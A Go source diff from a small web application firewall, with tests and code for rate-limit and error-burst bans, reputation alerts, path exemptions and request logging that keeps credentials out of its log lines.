if line.BanExpires != requestlog.FormatTime(expires) {
|
||||
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
|
||||
}
|
||||
|
||||
netblock := netip.MustParsePrefix(client + "/32")
|
||||
want := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: start,
|
||||
Expires: expires,
|
||||
Cause: bans.CauseLimit,
|
||||
Reason: "refusals per minute over the limit of 2",
|
||||
Notes: bans.Notes{
|
||||
Kind: ratelimit.KindRefusals,
|
||||
Limit: 2,
|
||||
Window: minute,
|
||||
Count: 3,
|
||||
Request: bans.Request{
|
||||
Time: start,
|
||||
Method: http.MethodGet,
|
||||
Host: appHost,
|
||||
Path: blockedPath,
|
||||
Status: http.StatusForbidden,
|
||||
UserAgent: userAgent,
|
||||
},
|
||||
Requests: 3,
|
||||
},
|
||||
}
|
||||
|
||||
got := server.Ledger.Bans(netblock)
|
||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3}
|
||||
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
|
||||
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
|
||||
}
|
||||
|
||||
metrics := s.scrape()
|
||||
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
|
||||
`kind="refusals",window="minute"}`, 1)
|
||||
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
|
||||
wantMetric(t, metrics,
|
||||
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3)
|
||||
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
|
||||
}
|
||||
|
||||
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
errorBurstThreshold: "2",
|
||||
rulesDir: writeRules(t, testRules),
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
})
|
||||
|
||||
// Half of the threshold would be one, which the second refusal is over.
|
||||
for range 2 {
|
||||
line := blockRule.send(s, fromDE)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
}
|
||||
}
|
||||
|
||||
blockRule.send(s, fromDE)
|
||||
|
||||
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
|
||||
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
|
||||
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
statuses := map[string]int{
|
||||
"/missing": http.StatusNotFound,
|
||||
"/private": http.StatusUnauthorized,
|
||||
"/forbidden": http.StatusForbidden,
|
||||
}
|
||||
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(statuses[r.URL.Path])
|
||||
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
|
||||
|
||||
for range 2 {
|
||||
for path, status := range statuses {
|
||||
s.request(client, path, status, requestlog.ActionForward)
|
||||
}
|
||||
}
|
||||
|
||||
// The first refusal is one, not over the threshold.
|
||||
line := blockRule.send(s, client)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
}
|
||||
|
||||
// No ban was made, nor its alert raised.
|
||||
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
|
||||
wantAlerts(t, queue)
|
||||
}
|
||||
|
||||
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
threshold string
|
||||
// broken is whether the 31st refusal breaks the error burst.
|
||||
broken bool
|
||||
}{
|
||||
{"", true},
|
||||
{off, false},
|
||||
} {
|
||||
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{rulesDir: writeRules(t, testRules)}
|
||||
if tc.threshold != "" {
|
||||
env[errorBurstThreshold] = tc.threshold
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", env)
|
||||
|
||||
var line logLine
|
||||
for range 31 {
|
||||
line = blockRule.send(s, client)
|
||||
}
|
||||
|
||||
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
|
||||
if broken != tc.broken {
|
||||
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
|
||||
broken, tc.broken)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
||||
})
|
||||
|
||||
// A client in SWW_ALLOW_NETS is not refused, and so not counted.
|
||||
for range 3 {
|
||||
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// One the rate limits do not apply to is.
|
||||
blockRule.send(s, exempt)
|
||||
|
||||
line := blockRule.send(s, exempt)
|
||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals {
|
||||
t.Errorf("log line has limit_hit %q, want minute_refusals", line.LimitHit)
|
||||
}
|
||||
|
||||
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
|
||||
|
||||
blockRule.send(s, client)
|
||||
blockRule.send(s, client)
|
||||
|
||||
// Within the same minute, once the ban has ended, the next refusal is
|
||||
// the first again.
|
||||
clk.advance(time.Second)
|
||||
|
||||
line := blockRule.send(s, client)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
errorBurstThreshold: "1",
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
held := bans.Ban{
|
||||
Netblock: netip.MustParsePrefix(otherClient + "/32"),
|
||||
Start: start,
|
||||
Expires: start.Add(time.Hour),
|
||||
Cause: bans.CauseAdmin,
|
||||
}
|
||||
server.Ledger.Load([]bans.Ban{held})
|
||||
|
||||
// Under a ban, enforce mode would have refused these before the rule, so
|
||||
// they are not counted.
|
||||
for range 2 {
|
||||
line := s.request(otherClient, blockedPath, http.StatusOK,
|
||||
requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
}
|
||||
}
|
||||
|
||||
// The block rule's refusal, which enforce mode would have answered 403,
|
||||
// is the second of the client's, and would have banned it.
|
||||
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
|
||||
|
||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.BanExpires != "" {
|
||||
t.Errorf("log line has limit_hit %q and ban_expires %q, want minute_refusals "+
|
||||
"and none", line.LimitHit, line.BanExpires)
|
||||
}
|
||||
|
||||
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
|
||||
t.Errorf("bans %+v, want only the one held", got)
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 1 {
|
||||
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
|
||||
}
|
||||
|
||||
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
|
||||
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
|
||||
notes.Request.Status != http.StatusForbidden {
|
||||
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
|
||||
notes)
|
||||
}
|
||||
|
||||
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
||||
Reason: "refusals per minute over the limit of 1", Notes: notes,
|
||||
}, requestlog.FormatTime(start.Add(time.Hour)))
|
||||
alert.Detail["mode"] = observe
|
||||
wantAlerts(t, queue, alert)
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
|
||||
// abuseipdb.
|
||||
|
||||
import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
// deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
|
||||
// refuses the requests of a client a source lists.
|
||||
const deny = "deny"
|
||||
|
||||
// noteListed notes each of sources, the URLs of the blocklists or the
|
||||
// DNSBL zones, their keys masked, that list the client, as noteHit does,
|
||||
// with reason.
|
||||
func (rq *request) noteListed(sources []string, reason string) {
|
||||
for _, source := range sources {
|
||||
rq.noteHit(bans.ReputationHit{Source: source}, reason)
|
||||
}
|
||||
}
|
||||
|
||||
// noteHit adds hit's source, which lists the client, to the log line's
|
||||
// reputation, and hit to the notes of a ban the request makes, counts the
|
||||
// source in the metrics, and raises a reputation_hit alert with reason,
|
||||
// whose detail gives hit's source and score.
|
||||
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
|
||||
detail := map[string]any{"source": hit.Source}
|
||||
if hit.Score != nil {
|
||||
detail["score"] = *hit.Score
|
||||
}
|
||||
|
||||
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
|
||||
rq.reputation = append(rq.reputation, hit)
|
||||
rq.h.metrics.ReputationHit(hit.Source)
|
||||
rq.h.alerts.Raise(alerts.Alert{
|
||||
Event: alerts.EventReputationHit,
|
||||
Host: rq.site,
|
||||
Client: rq.client,
|
||||
Netblock: rq.h.clientGroup(rq.client),
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reason: reason,
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,410 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// refusal is discriminator refusing a request: the status the visitor is to get, 0
|
||||
// to close its connection without an answer, and the action the log line names.
|
||||
type refusal struct {
|
||||
status int
|
||||
action string
|
||||
}
|
||||
|
||||
// decision is what the checks note of a request: its log line, and what
|
||||
// counting the request needs once it has ended. discriminator keeps a copy of it
|
||||
// until the request's report comes. It holds no credentials, since the log line
|
||||
// never does, and neither the request's objects nor their bodies.
|
||||
type decision struct {
|
||||
line requestlog.Line
|
||||
client netip.Addr
|
||||
// requestURI is the path with the query, as a ban's notes keep it.
|
||||
requestURI string
|
||||
// site is, for a question, the host the visitor asked for, which the
|
||||
// alerts name, since one discriminator serves many sites.
|
||||
site string
|
||||
// allowed is true for a question answered with DispositionAllow.
|
||||
allowed bool
|
||||
// lookedUp is true once the client's AS number and country have been
|
||||
// looked up, whether or not an answer was there, and lookupAnswer is
|
||||
// what the lookup gave then, the zero Answer while GeoJS had given none.
|
||||
lookedUp bool
|
||||
lookupAnswer lookup.Answer
|
||||
// skippedLookupWait is true for a request that did not wait for GeoJS and
|
||||
// found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
|
||||
// so that not waiting never lowers its client's limits.
|
||||
skippedLookupWait bool
|
||||
// counted is true for a request the rate limits counted, whose bytes
|
||||
// the byte limits count once it has ended. rateLimitPercent and
|
||||
// bytesLimitPercent are then its client's limit percentages for the rate
|
||||
// limits and for the byte limits.
|
||||
counted bool
|
||||
rateLimitPercent, bytesLimitPercent percentage
|
||||
// attack is true for a request that matched a ban rule or asked for a
|
||||
// trap path, blockedByBlockRule for one a block rule refused, and
|
||||
// blockedByCoreRuleSet for one the Core Rule Set refused, each an offence
|
||||
// its client's history counts.
|
||||
attack, blockedByBlockRule, blockedByCoreRuleSet bool
|
||||
// reputation is the reputation sources that list the client, for the
|
||||
// notes of a ban the request makes.
|
||||
reputation []bans.ReputationHit
|
||||
}
|
||||
|
||||
// request is one request to discriminator, from the moment its headers have been
|
||||
// read to its log line.
|
||||
type request struct {
|
||||
decision
|
||||
|
||||
h *handler
|
||||
in *http.Request
|
||||
out *responseWriter
|
||||
|
||||
// blocklisted is true once a blocklist is found to list the client,
|
||||
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
|
||||
// AbuseIPDB's score of it is a hit.
|
||||
blocklisted, dnsblListed, abuseIPDBHit bool
|
||||
start time.Time
|
||||
// checked is when the checks were done.
|
||||
checked time.Time
|
||||
// refused is what the request was refused with, nil if it was not.
|
||||
refused *refusal
|
||||
// requestBytes is how many bytes of the request's body have been read.
|
||||
requestBytes int64
|
||||
}
|
||||
|
||||
// startRequest starts handling r from client, which came through peer: it
|
||||
// notes the time, counts the request as under way, and starts the log line
|
||||
// with what is known of the request. isQuestion says whether r is a question,
|
||||
// whose headers give the request's id and scheme.
|
||||
func (h *handler) startRequest(
|
||||
w http.ResponseWriter, r *http.Request, client, peer netip.Addr, isQuestion bool,
|
||||
) *request {
|
||||
h.metrics.RequestStarted()
|
||||
|
||||
start := time.Now()
|
||||
forwardedFor := r.Header.Values("X-Forwarded-For")
|
||||
|
||||
rq := &request{
|
||||
decision: decision{
|
||||
client: client,
|
||||
requestURI: r.URL.RequestURI(),
|
||||
line: requestlog.Line{
|
||||
Time: requestlog.FormatTime(start),
|
||||
Instance: h.config.InstanceName,
|
||||
ClientIP: client.String(),
|
||||
Method: r.Method,
|
||||
Scheme: scheme(r, isQuestion),
|
||||
Host: r.Host,
|
||||
Path: rules.Path(r),
|
||||
Query: r.URL.RawQuery,
|
||||
Protocol: r.Proto,
|
||||
Referer: r.Referer(),
|
||||
UserAgent: r.UserAgent(),
|
||||
RequestID: requestID(r, isQuestion),
|
||||
PeerIP: peer.String(),
|
||||
ForwardedFor: strings.Join(forwardedFor, ", "),
|
||||
ClientGroup: h.clientGroup(client).String(),
|
||||
ContentType: r.Header.Get("Content-Type"),
|
||||
RequestHeaders: requestHeaders(r, h.config.LogRequestHeaders),
|
||||
HasAuthorization: len(r.Header.Values("Authorization")) > 0,
|
||||
HasCookie: len(r.Header.Values("Cookie")) > 0,
|
||||
Action: requestlog.ActionForward,
|
||||
},
|
||||
},
|
||||
h: h,
|
||||
in: r,
|
||||
out: &responseWriter{ResponseWriter: w},
|
||||
start: start,
|
||||
}
|
||||
|
||||
// A length of -1 is a body whose length was not announced.
|
||||
if r.ContentLength > 0 {
|
||||
rq.line.ContentLength = r.ContentLength
|
||||
}
|
||||
|
||||
return rq
|
||||
}
|
||||
|
||||
// addTag adds tag to the request's tags, which stay sorted and hold each tag
|
||||
// once.
|
||||
func (rq *request) addTag(tag string) {
|
||||
at, found := slices.BinarySearch(rq.line.Tags, tag)
|
||||
if !found {
|
||||
rq.line.Tags = slices.Insert(rq.line.Tags, at, tag)
|
||||
}
|
||||
}
|
||||
|
||||
// requestHeaders returns the headers of r that names lists, by name in
|
||||
// lower case, each with its values joined by ", ". Authorization, Cookie
|
||||
// and Set-Cookie are never among them, whatever names says.
|
||||
func requestHeaders(r *http.Request, names []string) map[string]string {
|
||||
headers := map[string]string{}
|
||||
|
||||
for _, name := range names {
|
||||
switch name {
|
||||
case "authorization", "cookie", "set-cookie":
|
||||
continue
|
||||
}
|
||||
|
||||
values := r.Header.Values(name)
|
||||
if len(values) > 0 {
|
||||
headers[name] = strings.Join(values, ", ")
|
||||
}
|
||||
}
|
||||
|
||||
return headers
|
||||
}
|
||||
|
||||
// check is the one place where a request can be refused. It returns nil to let
|
||||
// the request through. The heuristics of checkClient decide: a request they
|
||||
// refuse is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core
|
||||
// Rule Set, or 431 for the header limits. In observe mode nothing is refused,
|
||||
// and the log line names what enforce mode would have done. ctx is the
|
||||
// request's own context.
|
||||
func (rq *request) check(ctx context.Context) *refusal {
|
||||
v := rq.checkClient(ctx)
|
||||
if v == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
action := v.action
|
||||
|
||||
switch {
|
||||
case rq.h.config.Observe:
|
||||
rq.line.WouldAction = action
|
||||
|
||||
return nil
|
||||
case action == requestlog.ActionBlockedByBlockRule ||
|
||||
action == requestlog.ActionBlockedByCoreRuleSet:
|
||||
return &refusal{status: http.StatusForbidden, action: action}
|
||||
case action == requestlog.ActionRequestHeaderTooLarge:
|
||||
return &refusal{status: http.StatusRequestHeaderFieldsTooLarge, action: action}
|
||||
default:
|
||||
return rq.banResponse(action)
|
||||
}
|
||||
}
|
||||
|
||||
// checkClient runs the heuristics of beforeLookup on the request, then looks
|
||||
// up the client's AS number and country, then runs those of afterLookup. It
|
||||
// returns the first verdict, or nil when none gives one. A client in
|
||||
// SWW_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
|
||||
// own context.
|
||||
func (rq *request) checkClient(ctx context.Context) *verdict {
|
||||
if isInside(rq.client, rq.h.config.AllowNets) {
|
||||
return nil
|
||||
}
|
||||
|
||||
now := rq.h.now()
|
||||
|
||||
v := rq.runHeuristics(ctx, beforeLookup(), now)
|
||||
if v != nil {
|
||||
return v
|
||||
}
|
||||
|
||||
rq.lookUp(ctx, now)
|
||||
|
||||
// The lookup can wait for GeoJS, so the checks after it read the time
|
||||
// again: a request counted at the time it arrived could be counted
|
||||
// after a later one of its client's, which the rate limits would take
|
||||
// for the clock set back.
|
||||
return rq.runHeuristics(ctx, afterLookup(), rq.h.now())
|
||||
}
|
||||
|
||||
// pathExempt reports whether r is exempt under prefixes,
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
|
||||
// path as sent, the path the app receives, not percent-decoded, starts
|
||||
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
|
||||
// app whose router matches the path as received. A request whose decoded
|
||||
// path contains .. anywhere or a backslash, or whose path as sent holds an
|
||||
// encoded slash (%2F or %2f), never is, since an app may act on it as a
|
||||
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
|
||||
// as one path segment, as Go's router does.
|
||||
func pathExempt(r *http.Request, prefixes []string) bool {
|
||||
decoded := r.URL.Path
|
||||
sent := rules.Path(r)
|
||||
|
||||
if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
|
||||
strings.Contains(strings.ToLower(sent), "%2f") {
|
||||
return false
|
||||
}
|
||||
|
||||
return slices.ContainsFunc(prefixes, func(prefix string) bool {
|
||||
return strings.HasPrefix(sent, prefix)
|
||||
})
|
||||
}
|
||||
|
||||
// finish counts the request in the metrics and writes its log line.
|
||||
func (rq *request) finish() {
|
||||
line := &rq.line
|
||||
line.Status = rq.out.status
|
||||
line.ResponseBytes = rq.out.bytes
|
||||
line.ResponseContentType = rq.out.Header().Get("Content-Type")
|
||||
line.RequestBytes = rq.requestBytes
|
||||
|
||||
switch {
|
||||
case rq.refused != nil:
|
||||
line.Action = rq.refused.action
|
||||
case rq.out.err != nil || rq.in.Context().Err() != nil:
|
||||
line.Aborted = true
|
||||
}
|
||||
|
||||
duration := time.Since(rq.start)
|
||||
line.DurationTotalMS = requestlog.Milliseconds(duration)
|
||||
line.DurationChecksMS = timing(rq.start, rq.checked)
|
||||
|
||||
// Counted before the log line is written, so that the metrics count
|
||||
// every request whose line is out. An allowed request is the exception:
|
||||
// its report gives the status, bytes and times the metrics count.
|
||||
if rq.allowed {
|
||||
rq.h.metrics.RequestAllowed()
|
||||
} else {
|
||||
rq.h.metrics.RequestEnded(line, duration)
|
||||
}
|
||||
|
||||
rq.writeLine()
|
||||
}
|
||||
|
||||
// writeLine writes the request's log line.
|
||||
func (rq *request) writeLine() {
|
||||
err := requestlog.Write(rq.h.requestLog, &rq.line)
|
||||
if err != nil {
|
||||
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
// timing is the time from start to end in milliseconds, for one of the
|
||||
// log line's timings, or nil when end is zero: what it times never
|
||||
// happened.
|
||||
func timing(start, end time.Time) *float64 {
|
||||
if end.IsZero() {
|
||||
return nil
|
||||
}
|
||||
|
||||
return new(requestlog.Milliseconds(end.Sub(start)))
|
||||
}
|
||||
|
||||
// addToHistory adds the request, which has ended, to its client's
|
||||
// history, and counts its offences in the metrics, and then the lookup's
|
||||
// answer about the client, as answerAtTheEnd gives it, to that history and
|
||||
// to the notes of the bans on its netblock: an answer may have come
|
||||
// before either was there, and one from GeoJS that comes later is added
|
||||
// when it comes.
|
||||
func (rq *request) addToHistory() {
|
||||
request := ratelimit.Request{
|
||||
Forwarded: rq.allowed,
|
||||
Refused: rq.refused != nil,
|
||||
Status: rq.out.status,
|
||||
RequestBytes: rq.requestBytes,
|
||||
ResponseBytes: rq.out.bytes,
|
||||
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
|
||||
Attack: rq.attack,
|
||||
BlockedByBlockRule: rq.blockedByBlockRule,
|
||||
BlockedByCoreRuleSet: rq.blockedByCoreRuleSet,
|
||||
}
|
||||
|
||||
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
|
||||
rq.h.metrics.Offences(request)
|
||||
|
||||
answer, found := rq.answerAtTheEnd()
|
||||
if found {
|
||||
rq.h.addLookup(answer)
|
||||
}
|
||||
}
|
||||
|
||||
// countAnomalies counts the request, which has ended, and its bytes, as
|
||||
// countedBytes gives them, for the anomaly thresholds, whatever was done
|
||||
// with it: a request refused, one from a client in SWW_ALLOW_NETS or
|
||||
// SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
|
||||
// client's AS number when answerAtTheEnd gives one. With every anomaly
|
||||
// threshold off, the default, it does nothing.
|
||||
func (rq *request) countAnomalies() {
|
||||
if !anomalyThresholdsSet(rq.h.config) {
|
||||
return
|
||||
}
|
||||
|
||||
answer, _ := rq.answerAtTheEnd()
|
||||
|
||||
rq.h.anomalies.Count(rq.h.now(), anomaly.Request{
|
||||
Host: rq.site,
|
||||
Client: rq.client,
|
||||
ClientGroup: rq.h.clientGroup(rq.client),
|
||||
ASN: answer.ASN,
|
||||
ASName: answer.ASName,
|
||||
Country: answer.Country,
|
||||
Bytes: rq.countedBytes(),
|
||||
})
|
||||
}
|
||||
|
||||
// anomalyThresholdsSet reports whether any anomaly threshold is set.
|
||||
func anomalyThresholdsSet(cfg *config.Config) bool {
|
||||
off := anomaly.Thresholds{}
|
||||
|
||||
return cfg.AnomalyClient != off || cfg.AnomalyNet != off || cfg.AnomalyASN != off ||
|
||||
cfg.AnomalyTotal != off || cfg.AnomalyWatch != off
|
||||
}
|
||||
|
||||
// answerAtTheEnd returns, for a client that was looked up, the lookup's
|
||||
// answer about it as the request ends, and whether there is one: the
|
||||
// lookup database's, which was there at once, or the one GeoJS has given
|
||||
// by then, which a request does not wait for unless a setting needs it.
|
||||
func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
|
||||
if !rq.lookedUp {
|
||||
return lookup.Answer{}, false
|
||||
}
|
||||
|
||||
if rq.h.config.LookupSource == "file" {
|
||||
return rq.lookupAnswer, true
|
||||
}
|
||||
|
||||
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
|
||||
}
|
||||
|
||||
// responseWriter is discriminator's answer to a request. It notes the status and
|
||||
// size for the log line, and the first error writing the answer.
|
||||
type responseWriter struct {
|
||||
http.ResponseWriter
|
||||
|
||||
// status is the status sent, or zero before one is.
|
||||
status int
|
||||
bytes int64
|
||||
err error
|
||||
}
|
||||
|
||||
// WriteHeader sends the status and headers.
|
||||
func (w *responseWriter) WriteHeader(status int) {
|
||||
if w.status == 0 {
|
||||
w.status = status
|
||||
}
|
||||
|
||||
w.ResponseWriter.WriteHeader(status)
|
||||
}
|
||||
|
||||
// Write sends part of the body.
|
||||
func (w *responseWriter) Write(p []byte) (int, error) {
|
||||
if w.status == 0 {
|
||||
w.status = http.StatusOK
|
||||
}
|
||||
|
||||
n, err := w.ResponseWriter.Write(p)
|
||||
w.bytes += int64(n)
|
||||
|
||||
if w.err == nil {
|
||||
w.err = err
|
||||
}
|
||||
|
||||
return n, err
|
||||
}
|
||||
@@ -1,321 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"math"
|
||||
"net/http"
|
||||
"reflect"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
const (
|
||||
// requestIDHeader carries the request's id.
|
||||
requestIDHeader = "X-Request-ID"
|
||||
// instance is the SWW_INSTANCE_NAME a test sets.
|
||||
instance = "fsn1app1/blog"
|
||||
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
|
||||
// limits count it as.
|
||||
ipv6Client = "2001:db8::7"
|
||||
ipv6Group = "2001:db8::/64"
|
||||
)
|
||||
|
||||
func TestLogLineHasEachFieldWhereItApplies(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
received := make(chan string, 2) // the request ids the app received
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
received <- r.Header.Get(requestIDHeader)
|
||||
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
|
||||
if r.URL.Path != "/full" {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
w.WriteHeader(http.StatusFound)
|
||||
_, _ = io.WriteString(w, "moved")
|
||||
})
|
||||
addr, out := startProxy(t, app.URL, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
rateLimitExemptNets: localhost,
|
||||
instanceName: instance,
|
||||
logRequestHeaders: "Accept,x-custom,Authorization,cookie,SET-COOKIE",
|
||||
})
|
||||
|
||||
// This request comes from ipv6Client through a trusted proxy, with a
|
||||
// body and each header the log line looks at, and is answered with a
|
||||
// redirect.
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, "POST /full HTTP/1.1\r\nHost: "+appHost+"\r\n"+
|
||||
forwardedFor+": 198.51.100.7, "+ipv6Client+"\r\n"+
|
||||
forwardedProto+": "+secure+"\r\n"+requestIDHeader+": from-traefik\r\n"+
|
||||
"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 3\r\n"+
|
||||
"Accept: text/html\r\nX-Custom: one\r\nX-Custom: two\r\n"+
|
||||
"Authorization: Bearer secret-token\r\nCookie: session=secret-cookie\r\n"+
|
||||
"Set-Cookie: secret-set-cookie\r\n\r\na=b")
|
||||
wantStatus(t, readResponse(t, conn), http.StatusFound)
|
||||
|
||||
// A request's log line can come after its answer: each is waited for
|
||||
// before the next request, so that the lines are in order.
|
||||
full := out.endedLines(t, 1)[0]
|
||||
|
||||
// This one comes from 127.0.0.1, which the rate limits do not count,
|
||||
// with a body of 4 bytes whose length it does not announce, so that its
|
||||
// request_bytes is not its content_length, and no header the log line
|
||||
// looks at, and is answered with 204 and no header.
|
||||
conn = dial(t, addr)
|
||||
send(t, conn, "POST /bare HTTP/1.1\r\nHost: "+appHost+"\r\n"+
|
||||
"Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n")
|
||||
wantStatus(t, readResponse(t, conn), http.StatusNoContent)
|
||||
|
||||
bare := out.endedLines(t, 2)[1]
|
||||
|
||||
wantFullLine(t, full)
|
||||
wantBareLine(t, bare)
|
||||
|
||||
for _, line := range []logLine{full, bare} {
|
||||
got := <-received
|
||||
if got != line.RequestID {
|
||||
t.Errorf("the app received request id %q, the log line has %q",
|
||||
got, line.RequestID)
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Contains(out.text(), "secret") {
|
||||
t.Errorf("a value of Authorization, Cookie or Set-Cookie is logged:\n%s",
|
||||
out.text())
|
||||
}
|
||||
}
|
||||
|
||||
